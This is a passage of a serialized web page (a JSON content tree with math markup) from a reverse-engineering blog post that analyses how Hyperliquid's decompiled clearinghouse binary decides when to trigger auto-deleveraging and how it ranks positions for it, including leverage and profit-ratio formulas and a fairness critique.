of the decompilation or reconstructed source.",{"type":23,"tag":24,"props":157307,"children":157308},{},[157309,157311,157317],{"type":28,"value":157310},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":135,"props":157312,"children":157314},{"className":157313},[],[157315],{"type":28,"value":157316},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":157318}," flag.",{"type":23,"tag":156950,"props":157320,"children":157324},{"addr":157321,"line-start":157322,"line-end":157323},"0x555556ac3850","3290","3301",[],{"type":23,"tag":24,"props":157326,"children":157327},{},[157328,157330,157335],{"type":28,"value":157329},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":135,"props":157331,"children":157333},{"className":157332},[],[157334],{"type":28,"value":157231},{"type":28,"value":1132},{"type":23,"tag":666,"props":157337,"children":157339},{"id":157338},"threshold-condition",[157340],{"type":28,"value":157341},"Threshold Condition",{"type":23,"tag":24,"props":157343,"children":157344},{},[157345,157347,157352],{"type":28,"value":157346},"The natural connection between liquidations and ADL is ",{"type":23,"tag":659,"props":157348,"children":157349},{},[157350],{"type":28,"value":157351},"shortfall",{"type":28,"value":157353},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":24,"props":157355,"children":157356},{},[157357],{"type":28,"value":157358},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":16900,"props":157360,"children":157362},{"id":157361},"who-is-underwater",[157363],{"type":28,"value":157364},"Who Is Underwater?",{"type":23,"tag":24,"props":157366,"children":157367},{},[157368,157370,157375,157377,157383],{"type":28,"value":157369},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":135,"props":157371,"children":157373},{"className":157372},[],[157374],{"type":28,"value":157275},{"type":28,"value":157376},", starting from all user positions, which are stored in ",{"type":23,"tag":135,"props":157378,"children":157380},{"className":157379},[],[157381],{"type":28,"value":157382},"clearinghouse.user_states",{"type":28,"value":157384},", as we can also see from the serialization.",{"type":23,"tag":156919,"props":157386,"children":157387},{},[157388],{"type":23,"tag":24,"props":157389,"children":157390},{},[157391],{"type":28,"value":157392},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":156950,"props":157394,"children":157398},{"source":157395,"target":157295,"direction":157396,"path":157397},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":24,"props":157400,"children":157401},{},[157402,157403,157408,157410,157416,157418,157424,157426,157432],{"type":28,"value":14625},{"type":23,"tag":135,"props":157404,"children":157406},{"className":157405},[],[157407],{"type":28,"value":157395},{"type":28,"value":157409}," essentially turns that into an ",{"type":23,"tag":135,"props":157411,"children":157413},{"className":157412},[],[157414],{"type":28,"value":157415},"Iter",{"type":28,"value":157417},", then, inside of ",{"type":23,"tag":135,"props":157419,"children":157421},{"className":157420},[],[157422],{"type":28,"value":157423},"build_adl_candidate_set",{"type":28,"value":157425}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":135,"props":157427,"children":157429},{"className":157428},[],[157430],{"type":28,"value":157431},"AdlIterEntry",{"type":28,"value":56225},{"type":23,"tag":156950,"props":157434,"children":157436},{"type-name":157435},"AdlIterContext",[],{"type":23,"tag":24,"props":157438,"children":157439},{},[157440,157442,157448,157450,157456,157458,157464,157466,157471],{"type":28,"value":157441},"Note that in storage, ",{"type":23,"tag":135,"props":157443,"children":157445},{"className":157444},[],[157446],{"type":28,"value":157447},"Isolated",{"type":28,"value":157449}," positions have their own independent ",{"type":23,"tag":135,"props":157451,"children":157453},{"className":157452},[],[157454],{"type":28,"value":157455},"Entry",{"type":28,"value":157457}," in the position iterators, and ",{"type":23,"tag":135,"props":157459,"children":157461},{"className":157460},[],[157462],{"type":28,"value":157463},"Cross",{"type":28,"value":157465}," positions have a single common ",{"type":23,"tag":135,"props":157467,"children":157469},{"className":157468},[],[157470],{"type":28,"value":157455},{"type":28,"value":157472},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":156950,"props":157474,"children":157477},{"addr":157475,"line-start":42149,"line-end":157476},"0x555556266b10","163",[],{"type":23,"tag":24,"props":157479,"children":157480},{},[157481],{"type":28,"value":157482},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":156950,"props":157484,"children":157487},{"addr":157321,"line-start":157485,"line-end":157486},"506","527",[],{"type":23,"tag":24,"props":157489,"children":157490},{},[157491,157493],{"type":28,"value":157492},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":157494,"props":157495,"children":157498},"bndb-xref",{"lines":157496,"addrs":157497},"1-2","0x555556ac3e18-0x555556ac3e18",[157499],{"type":28,"value":157500},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":24,"props":157502,"children":157503},{},[157504,157506,157512,157514,157520,157522,157528,157530,157536],{"type":28,"value":157505},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":135,"props":157507,"children":157509},{"className":157508},[],[157510],{"type":28,"value":157511},"only_isolated",{"type":28,"value":157513}," (or ",{"type":23,"tag":135,"props":157515,"children":157517},{"className":157516},[],[157518],{"type":28,"value":157519},"strict_isolated",{"type":28,"value":157521}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":135,"props":157523,"children":157525},{"className":157524},[],[157526],{"type":28,"value":157527},"deferred_queue",{"type":28,"value":157529},", which triggers ADL regardless of the system's ",{"type":23,"tag":135,"props":157531,"children":157533},{"className":157532},[],[157534],{"type":28,"value":157535},"total_shortfall",{"type":28,"value":157537},". This is dictated by this branch.",{"type":23,"tag":156950,"props":157539,"children":157542},{"addr":157321,"line-start":157540,"line-end":157541},"211","243",[],{"type":23,"tag":24,"props":157544,"children":157545},{},[157546,157548,157555],{"type":28,"value":157547},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":64,"props":157549,"children":157552},{"href":157550,"rel":157551},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[68],[157553],{"type":28,"value":157554},"March 2025 incident",{"type":28,"value":157556},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":16900,"props":157558,"children":157560},{"id":157559},"how-do-we-get-rid-of-debt",[157561],{"type":28,"value":157562},"How Do We Get Rid of Debt?",{"type":23,"tag":24,"props":157564,"children":157565},{},[157566],{"type":28,"value":157567},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":24,"props":157569,"children":157570},{},[157571,157573,157578,157580,157585,157587,157592],{"type":28,"value":157572},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":135,"props":157574,"children":157576},{"className":157575},[],[157577],{"type":28,"value":157527},{"type":28,"value":157579}," is overwritten by all the users marked by ",{"type":23,"tag":135,"props":157581,"children":157583},{"className":157582},[],[157584],{"type":28,"value":157423},{"type":28,"value":157586},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":135,"props":157588,"children":157590},{"className":157589},[],[157591],{"type":28,"value":157519},{"type":28,"value":157593}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":156919,"props":157595,"children":157596},{},[157597],{"type":23,"tag":24,"props":157598,"children":157599},{},[157600],{"type":28,"value":157601},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":156950,"props":157603,"children":157606},{"addr":157321,"line-start":157604,"line-end":157605},"523","526",[],{"type":23,"tag":24,"props":157608,"children":157609},{},[157610,157612,157618,157620,157626,157628,157633],{"type":28,"value":157611},"For each underwater position, we do a ",{"type":23,"tag":157494,"props":157613,"children":157615},{"addrs":157614},"0x555556ac42ad-0x555556ac42be",[157616],{"type":28,"value":157617},"B-tree lookup",{"type":28,"value":157619}," on ",{"type":23,"tag":135,"props":157621,"children":157623},{"className":157622},[],[157624],{"type":28,"value":157625},"clearinghouse.user_states[position.user]",{"type":28,"value":157627},", adding them to a ",{"type":23,"tag":135,"props":157629,"children":157631},{"className":157630},[],[157632],{"type":28,"value":15223},{"type":28,"value":157634}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":156950,"props":157636,"children":157639},{"addr":157321,"line-start":157637,"line-end":157638},"635","658",[],{"type":23,"tag":24,"props":157641,"children":157642},{},[157643],{"type":28,"value":157644},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":128,"props":157646,"children":157647},{},[157648],{"type":23,"tag":135,"props":157649,"children":157651},{"className":157650},[1981,156978],[157652],{"type":23,"tag":139,"props":157653,"children":157655},{"className":157654},[156983],[157656],{"type":23,"tag":139,"props":157657,"children":157659},{"className":157658},[1987],[157660],{"type":23,"tag":139,"props":157661,"children":157663},{"className":157662,"ariaHidden":1993},[1992],[157664],{"type":23,"tag":139,"props":157665,"children":157667},{"className":157666},[1998],[157668,157673],{"type":23,"tag":139,"props":157669,"children":157672},{"className":157670,"style":157671},[2003],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":139,"props":157674,"children":157676},{"className":157675},[2009],[157677],{"type":23,"tag":139,"props":157678,"children":157681},{"className":157679},[157680],"mtable",[157682,157762],{"type":23,"tag":139,"props":157683,"children":157686},{"className":157684},[157685],"col-align-r",[157687],{"type":23,"tag":139,"props":157688,"children":157690},{"className":157689},[2030,19650],[157691,157750],{"type":23,"tag":139,"props":157692,"children":157694},{"className":157693},[2035],[157695,157745],{"type":23,"tag":139,"props":157696,"children":157699},{"className":157697,"style":157698},[2040],"height:2.3452em;",[157700,157723],{"type":23,"tag":139,"props":157701,"children":157703},{"style":157702},"top:-4.3452em;",[157704,157709],{"type":23,"tag":139,"props":157705,"children":157708},{"className":157706,"style":157707},[2049],"height:3.3944em;",[],{"type":23,"tag":139,"props":157710,"children":157712},{"className":157711},[2009],[157713],{"type":23,"tag":139,"props":157714,"children":157716},{"className":157715},[2009,28],[157717],{"type":23,"tag":139,"props":157718,"children":157720},{"className":157719},[2009],[157721],{"type":28,"value":157722},"position_weight",{"type":23,"tag":139,"props":157724,"children":157726},{"style":157725},"top:-2.2092em;",[157727,157731],{"type":23,"tag":139,"props":157728,"children":157730},{"className":157729,"style":157707},[2049],[],{"type":23,"tag":139,"props":157732,"children":157734},{"className":157733},[2009],[157735],{"type":23,"tag":139,"props":157736,"children":157738},{"className":157737},[2009,28],[157739],{"type":23,"tag":139,"props":157740,"children":157742},{"className":157741},[2009],[157743],{"type":28,"value":157744},"position_adl_amount",{"type":23,"tag":139,"props":157746,"children":157748},{"className":157747},[19753],[157749],{"type":28,"value":19756},{"type":23,"tag":139,"props":157751,"children":157753},{"className":157752},[2035],[157754],{"type":23,"tag":139,"props":157755,"children":157758},{"className":157756,"style":157757},[2040],"height:1.8452em;",[157759],{"type":23,"tag":139,"props":157760,"children":157761},{},[],{"type":23,"tag":139,"props":157763,"children":157766},{"className":157764},[157765],"col-align-l",[157767],{"type":23,"tag":139,"props":157768,"children":157770},{"className":157769},[2030,19650],[157771,157972],{"type":23,"tag":139,"props":157772,"children":157774},{"className":157773},[2035],[157775,157967],{"type":23,"tag":139,"props":157776,"children":157778},{"className":157777,"style":157698},[2040],[157779,157907],{"type":23,"tag":139,"props":157780,"children":157781},{"style":157702},[157782,157786],{"type":23,"tag":139,"props":157783,"children":157785},{"className":157784,"style":157707},[2049],[],{"type":23,"tag":139,"props":157787,"children":157789},{"className":157788},[2009],[157790,157794,157798,157803,157807],{"type":23,"tag":139,"props":157791,"children":157793},{"className":157792},[2009],[],{"type":23,"tag":139,"props":157795,"children":157797},{"className":157796,"style":2187},[2089],[],{"type":23,"tag":139,"props":157799,"children":157801},{"className":157800},[2192],[157802],{"type":28,"value":1067},{"type":23,"tag":139,"props":157804,"children":157806},{"className":157805,"style":2187},[2089],[],{"type":23,"tag":139,"props":157808,"children":157810},{"className":157809},[2009],[157811,157815,157903],{"type":23,"tag":139,"props":157812,"children":157814},{"className":157813},[19725,111469],[],{"type":23,"tag":139,"props":157816,"children":157818},{"className":157817},[111474],[157819],{"type":23,"tag":139,"props":157820,"children":157822},{"className":157821},[2030,19650],[157823,157891],{"type":23,"tag":139,"props":157824,"children":157826},{"className":157825},[2035],[157827,157886],{"type":23,"tag":139,"props":157828,"children":157831},{"className":157829,"style":157830},[2040],"height:1.3944em;",[157832,157853,157864],{"type":23,"tag":139,"props":157833,"children":157834},{"style":157060},[157835,157839],{"type":23,"tag":139,"props":157836,"children":157838},{"className":157837,"style":110122},[2049],[],{"type":23,"tag":139,"props":157840,"children":157842},{"className":157841},[2009],[157843],{"type":23,"tag":139,"props":157844,"children":157846},{"className":157845},[2009,28],[157847],{"type":23,"tag":139,"props":157848,"children":157850},{"className":157849},[2009],[157851],{"type":28,"value":157852},"total_cross_notional",{"type":23,"tag":139,"props":157854,"children":157855},{"style":111524},[157856,157860],{"type":23,"tag":139,"props":157857,"children":157859},{"className":157858,"style":110122},[2049],[],{"type":23,"tag":139,"props":157861,"children":157863},{"className":157862,"style":111534},[111533],[],{"type":23,"tag":139,"props":157865,"children":157867},{"style":157866},"top:-3.7em;",[157868,157872],{"type":23,"tag":139,"props":157869,"children":157871},{"className":157870,"style":110122},[2049],[],{"type":23,"tag":139,"props":157873,"children":157875},{"className":157874},[2009],[157876],{"type":23,"tag":139,"props":157877,"children":157879},{"className":157878},[2009,28],[157880],{"type":23,"tag":139,"props":157881,"children":157883},{"className":157882},[2009],[157884],{"type":28,"value":157885},"position_notional",{"type":23,"tag":139,"props":157887,"children":157889},{"className":157888},[19753],[157890],{"type":28,"value":19756},{"type":23,"tag":139,"props":157892,"children":157894},{"className":157893},[2035],[157895],{"type":23,"tag":139,"props":157896,"children":157899},{"className":157897,"style":157898},[2040],"height:0.996em;",[157900],{"type":23,"tag":139,"props":157901,"children":157902},{},[],{"type":23,"tag":139,"props":157904,"children":157906},{"className":157905},[19747,111469],[],{"type":23,"tag":139,"props":157908,"children":157909},{"style":157725},[157910,157914],{"type":23,"tag":139,"props":157911,"children":157913},{"className":157912,"style":157707},[2049],[],{"type":23,"tag":139,"props":157915,"children":157917},{"className":157916},[2009],[157918,157922,157926,157931,157935,157945,157949,157954,157958],{"type":23,"tag":139,"props":157919,"children":157921},{"className":157920},[2009],[],{"type":23,"tag":139,"props":157923,"children":157925},{"className":157924,"style":2187},[2089],[],{"type":23,"tag":139,"props":157927,"children":157929},{"className":157928},[2192],[157930],{"type":28,"value":1067},{"type":23,"tag":139,"props":157932,"children":157934},{"className":157933,"style":2187},[2089],[],{"type":23,"tag":139,"props":157936,"children":157938},{"className":157937},[2009,28],[157939],{"type":23,"tag":139,"props":157940,"children":157942},{"className":157941},[2009],[157943],{"type":28,"value":157944},"user_shortfall",{"type":23,"tag":139,"props":157946,"children":157948},{"className":157947,"style":2090},[2089],[],{"type":23,"tag":139,"props":157950,"children":157952},{"className":157951},[2095],[157953],{"type":28,"value":109213},{"type":23,"tag":139,"props":157955,"children":157957},{"className":157956,"style":2090},[2089],[],{"type":23,"tag":139,"props":157959,"children":157961},{"className":157960},[2009,28],[157962],{"type":23,"tag":139,"props":157963,"children":157965},{"className":157964},[2009],[157966],{"type":28,"value":157722},{"type":23,"tag":139,"props":157968,"children":157970},{"className":157969},[19753],[157971],{"type":28,"value":19756},{"type":23,"tag":139,"props":157973,"children":157975},{"className":157974},[2035],[157976],{"type":23,"tag":139,"props":157977,"children":157979},{"className":157978,"style":157757},[2040],[157980],{"type":23,"tag":139,"props":157981,"children":157982},{},[],{"type":23,"tag":24,"props":157984,"children":157985},{},[157986],{"type":28,"value":157987},"We do that here:",{"type":23,"tag":156950,"props":157989,"children":157992},{"addr":157321,"line-start":157990,"line-end":157991},"828","981",[],{"type":23,"tag":24,"props":157994,"children":157995},{},[157996,157997,158003,158005,158011],{"type":28,"value":14625},{"type":23,"tag":157494,"props":157998,"children":158000},{"lines":157999},"77-79",[158001],{"type":28,"value":158002},"inner loop",{"type":28,"value":158004}," above spans all ",{"type":23,"tag":135,"props":158006,"children":158008},{"className":158007},[],[158009],{"type":28,"value":158010},"(asset_idx, direction)",{"type":28,"value":158012}," held in the cross margin position.",{"type":23,"tag":24,"props":158014,"children":158015},{},[158016,158018,158024,158026,158032,158033,158039],{"type":28,"value":158017},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":135,"props":158019,"children":158021},{"className":158020},[],[158022],{"type":28,"value":158023},"adl_output",{"type":28,"value":158025}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":135,"props":158027,"children":158029},{"className":158028},[],[158030],{"type":28,"value":158031},"position_id",{"type":28,"value":9002},{"type":23,"tag":135,"props":158034,"children":158036},{"className":158035},[],[158037],{"type":28,"value":158038},"position_shortfall",{"type":28,"value":73},{"type":23,"tag":156950,"props":158041,"children":158044},{"addr":157321,"line-start":158042,"line-end":158043},"2377","2469",[],{"type":23,"tag":24,"props":158046,"children":158047},{},[158048,158050,158056],{"type":28,"value":158049},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":135,"props":158051,"children":158053},{"className":158052},[],[158054],{"type":28,"value":158055},"(position_id, cut)",{"type":28,"value":158057},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":24,"props":158059,"children":158060},{},[158061,158063,158068],{"type":28,"value":158062},"The final phase of ",{"type":23,"tag":135,"props":158064,"children":158066},{"className":158065},[],[158067],{"type":28,"value":157275},{"type":28,"value":158069}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":156950,"props":158071,"children":158074},{"addr":157321,"addr-start":158072,"addr-end":158073},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":24,"props":158076,"children":158077},{},[158078],{"type":28,"value":158079},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":33262,"props":158081,"children":158083},{"id":158082},"who-do-we-deleverage",[158084],{"type":28,"value":158085},"Who Do We Deleverage?",{"type":23,"tag":24,"props":158087,"children":158088},{},[158089],{"type":28,"value":158090},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":24,"props":158092,"children":158093},{},[158094],{"type":28,"value":158095},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":24,"props":158097,"children":158098},{},[158099,158101,158108],{"type":28,"value":158100},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":64,"props":158102,"children":158105},{"href":158103,"rel":158104},"https://arxiv.org/abs/2512.01112",[68],[158106],{"type":28,"value":158107},"this paper",{"type":28,"value":158109},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":24,"props":158111,"children":158112},{},[158113],{"type":28,"value":158114},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":41,"props":158116,"children":158118},{"id":158117},"adl-score-computation",[158119],{"type":28,"value":158120},"ADL Score Computation",{"type":23,"tag":24,"props":158122,"children":158123},{},[158124,158126,158132,158134,158140,158142,158147],{"type":28,"value":158125},"The score function at ",{"type":23,"tag":135,"props":158127,"children":158129},{"className":158128},[],[158130],{"type":28,"value":158131},"compute_adl_ranking_score",{"type":28,"value":158133}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":135,"props":158135,"children":158137},{"className":158136},[],[158138],{"type":28,"value":158139},"Ord",{"type":28,"value":158141}," implementation on some 20-byte address representation. A ",{"type":23,"tag":135,"props":158143,"children":158145},{"className":158144},[],[158146],{"type":28,"value":15223},{"type":28,"value":158148}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":24,"props":158150,"children":158151},{},[158152,158154,158159,158161,158167,158169,158176,158178,158185],{"type":28,"value":158153},"Those sort routines are ",{"type":23,"tag":659,"props":158155,"children":158156},{},[158157],{"type":28,"value":158158},"generated by the compiler",{"type":28,"value":158160},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":135,"props":158162,"children":158164},{"className":158163},[],[158165],{"type":28,"value":158166},".comment",{"type":28,"value":158168},", we may even manually ",{"type":23,"tag":64,"props":158170,"children":158173},{"href":158171,"rel":158172},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[68],[158174],{"type":28,"value":158175},"take advantage",{"type":28,"value":158177}," of this to recover the ",{"type":23,"tag":64,"props":158179,"children":158182},{"href":158180,"rel":158181},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[68],[158183],{"type":28,"value":158184},"exact source of library functions",{"type":28,"value":73},{"type":23,"tag":24,"props":158187,"children":158188},{},[158189,158191,158196],{"type":28,"value":158190},"Let's see how this ties back into the ",{"type":23,"tag":135,"props":158192,"children":158194},{"className":158193},[],[158195],{"type":28,"value":157275},{"type":28,"value":2493},{"type":23,"tag":156950,"props":158198,"children":158200},{"source":157275,"target":158131,"direction":157276,"path":158199},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":24,"props":158202,"children":158203},{},[158204],{"type":28,"value":158205},"And here's the main call site used for sorting:",{"type":23,"tag":156950,"props":158207,"children":158210},{"addr":157321,"line-start":158208,"line-end":158209},"2806","2814",[],{"type":23,"tag":41,"props":158212,"children":158214},{"id":158213},"ratio-1-effective-leverage",[158215],{"type":28,"value":158216},"Ratio 1: Effective Leverage",{"type":23,"tag":128,"props":158218,"children":158219},{},[158220],{"type":23,"tag":135,"props":158221,"children":158223},{"className":158222},[1981,156978],[158224],{"type":23,"tag":139,"props":158225,"children":158227},{"className":158226},[156983],[158228],{"type":23,"tag":139,"props":158229,"children":158231},{"className":158230},[1987],[158232],{"type":23,"tag":139,"props":158233,"children":158235},{"className":158234,"ariaHidden":1993},[1992],[158236,158267],{"type":23,"tag":139,"props":158237,"children":158239},{"className":158238},[1998],[158240,158244,158254,158258,158263],{"type":23,"tag":139,"props":158241,"children":158243},{"className":158242,"style":113006},[2003],[],{"type":23,"tag":139,"props":158245,"children":158247},{"className":158246},[2009,28],[158248],{"type":23,"tag":139,"props":158249,"children":158251},{"className":158250},[2009],[158252],{"type":28,"value":158253},"effective leverage",{"type":23,"tag":139,"props":158255,"children":158257},{"className":158256,"style":2187},[2089],[],{"type":23,"tag":139,"props":158259,"children":158261},{"className":158260},[2192],[158262],{"type":28,"value":1067},{"type":23,"tag":139,"props":158264,"children":158266},{"className":158265,"style":2187},[2089],[],{"type":23,"tag":139,"props":158268,"children":158270},{"className":158269},[1998],[158271,158276],{"type":23,"tag":139,"props":158272,"children":158275},{"className":158273,"style":158274},[2003],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":139,"props":158277,"children":158279},{"className":158278},[2009],[158280,158284,158379],{"type":23,"tag":139,"props":158281,"children":158283},{"className":158282},[19725,111469],[],{"type":23,"tag":139,"props":158285,"children":158287},{"className":158286},[111474],[158288],{"type":23,"tag":139,"props":158289,"children":158291},{"className":158290},[2030,19650],[158292,158367],{"type":23,"tag":139,"props":158293,"children":158295},{"className":158294},[2035],[158296,158362],{"type":23,"tag":139,"props":158297,"children":158299},{"className":158298,"style":157056},[2040],[158300,158321,158332],{"type":23,"tag":139,"props":158301,"children":158302},{"style":157060},[158303,158307],{"type":23,"tag":139,"props":158304,"children":158306},{"className":158305,"style":110122},[2049],[],{"type":23,"tag":139,"props":158308,"children":158310},{"className":158309},[2009],[158311],{"type":23,"tag":139,"props":158312,"children":158314},{"className":158313},[2009,28],[158315],{"type":23,"tag":139,"props":158316,"children":158318},{"className":158317},[2009],[158319],{"type":28,"value":158320},"account value",{"type":23,"tag":139,"props":158322,"children":158323},{"style":111524},[158324,158328],{"type":23,"tag":139,"props":158325,"children":158327},{"className":158326,"style":110122},[2049],[],{"type":23,"tag":139,"props":158329,"children":158331},{"className":158330,"style":111534},[111533],[],{"type":23,"tag":139,"props":158333,"children":158334},{"style":157111},[158335,158339],{"type":23,"tag":139,"props":158336,"children":158338},{"className":158337,"style":110122},[2049],[],{"type":23,"tag":139,"props":158340,"children":158342},{"className":158341},[2009],[158343,158348,158357],{"type":23,"tag":139,"props":158344,"children":158346},{"className":158345},[2009],[158347],{"type":28,"value":157126},{"type":23,"tag":139,"props":158349,"children":158351},{"className":158350},[2009,28],[158352],{"type":23,"tag":139,"props":158353,"children":158355},{"className":158354},[2009],[158356],{"type":28,"value":157136},{"type":23,"tag":139,"props":158358,"children":158360},{"className":158359},[2009],[158361],{"type":28,"value":157126},{"type":23,"tag":139,"props":158363,"children":158365},{"className":158364},[19753],[158366],{"type":28,"value":19756},{"type":23,"tag":139,"props":158368,"children":158370},{"className":158369},[2035],[158371],{"type":23,"tag":139,"props":158372,"children":158375},{"className":158373,"style":158374},[2040],"height:0.686em;",[158376],{"type":23,"tag":139,"props":158377,"children":158378},{},[],{"type":23,"tag":139,"props":158380,"children":158382},{"className":158381},[19747,111469],[],{"type":23,"tag":24,"props":158384,"children":158385},{},[158386,158388,158394,158396,158402,158403,158409,158411,158417],{"type":28,"value":158387},"We can see in the decompilation below, through the SIMD noise, that ",{"type":23,"tag":135,"props":158389,"children":158391},{"className":158390},[],[158392],{"type":28,"value":158393},"abs_notional",{"type":28,"value":158395}," (unsigned), and ",{"type":23,"tag":135,"props":158397,"children":158399},{"className":158398},[],[158400],{"type":28,"value":158401},"float.d(rbx)",{"type":28,"value":3504},{"type":23,"tag":135,"props":158404,"children":158406},{"className":158405},[],[158407],{"type":28,"value":158408},"account_value",{"type":28,"value":158410}," (signed); the division is ",{"type":23,"tag":135,"props":158412,"children":158414},{"className":158413},[],[158415],{"type":28,"value":158416},"abs_notional / account_value",{"type":28,"value":73},{"type":23,"tag":24,"props":158419,"children":158420},{},[158421],{"type":28,"value":158422},"This tells us the risk multiplier that the user took on for this position.",{"type":23,"tag":156950,"props":158424,"children":158428},{"addr":158425,"line-start":158426,"line-end":158427},"0x555556abb140","278","296",[],{"type":23,"tag":41,"props":158430,"children":158432},{"id":158431},"ratio-2-profit-ratio",[158433],{"type":28,"value":158434},"Ratio 2: Profit Ratio",{"type":23,"tag":128,"props":158436,"children":158437},{},[158438],{"type":23,"tag":135,"props":158439,"children":158441},{"className":158440},[1981,156978],[158442],{"type":23,"tag":139,"props":158443,"children":158445},{"className":158444},[156983],[158446],{"type":23,"tag":139,"props":158447,"children":158449},{"className":158448},[1987],[158450],{"type":23,"tag":139,"props":158451,"children":158453},{"className":158452,"ariaHidden":1993},[1992],[158454,158485],{"type":23,"tag":139,"props":158455,"children":158457},{"className":158456},[1998],[158458,158462,158472,158476,158481],{"type":23,"tag":139,"props":158459,"children":158461},{"className":158460,"style":113006},[2003],[],{"type":23,"tag":139,"props":158463,"children":158465},{"className":158464},[2009,28],[158466],{"type":23,"tag":139,"props":158467,"children":158469},{"className":158468},[2009],[158470],{"type":28,"value":158471},"profit ratio",{"type":23,"tag":139,"props":158473,"children":158475},{"className":158474,"style":2187},[2089],[],{"type":23,"tag":139,"props":158477,"children":158479},{"className":158478},[2192],[158480],{"type":28,"value":1067},{"type":23,"tag":139,"props":158482,"children":158484},{"className":158483,"style":2187},[2089],[],{"type":23,"tag":139,"props":158486,"children":158488},{"className":158487},[1998],[158489,158493],{"type":23,"tag":139,"props":158490,"children":158492},{"className":158491,"style":157031},[2003],[],{"type":23,"tag":139,"props":158494,"children":158496},{"className":158495},[2009],[158497,158501,158620],{"type":23,"tag":139,"props":158498,"children":158500},{"className":158499},[19725,111469],[],{"type":23,"tag":139,"props":158502,"children":158504},{"className":158503},[111474],[158505],{"type":23,"tag":139,"props":158506,"children":158508},{"className":158507},[2030,19650],[158509,158609],{"type":23,"tag":139,"props":158510,"children":158512},{"className":158511},[2035],[158513,158604],{"type":23,"tag":139,"props":158514,"children":158516},{"className":158515,"style":157056},[2040],[158517,158538,158549],{"type":23,"tag":139,"props":158518,"children":158519},{"style":157060},[158520,158524],{"type":23,"tag":139,"props":158521,"children":158523},{"className":158522,"style":110122},[2049],[],{"type":23,"tag":139,"props":158525,"children":158527},{"className":158526},[2009],[158528],{"type":23,"tag":139,"props":158529,"children":158531},{"className":158530},[2009,28],[158532],{"type":23,"tag":139,"props":158533,"children":158535},{"className":158534},[2009],[158536],{"type":28,"value":158537},"entry 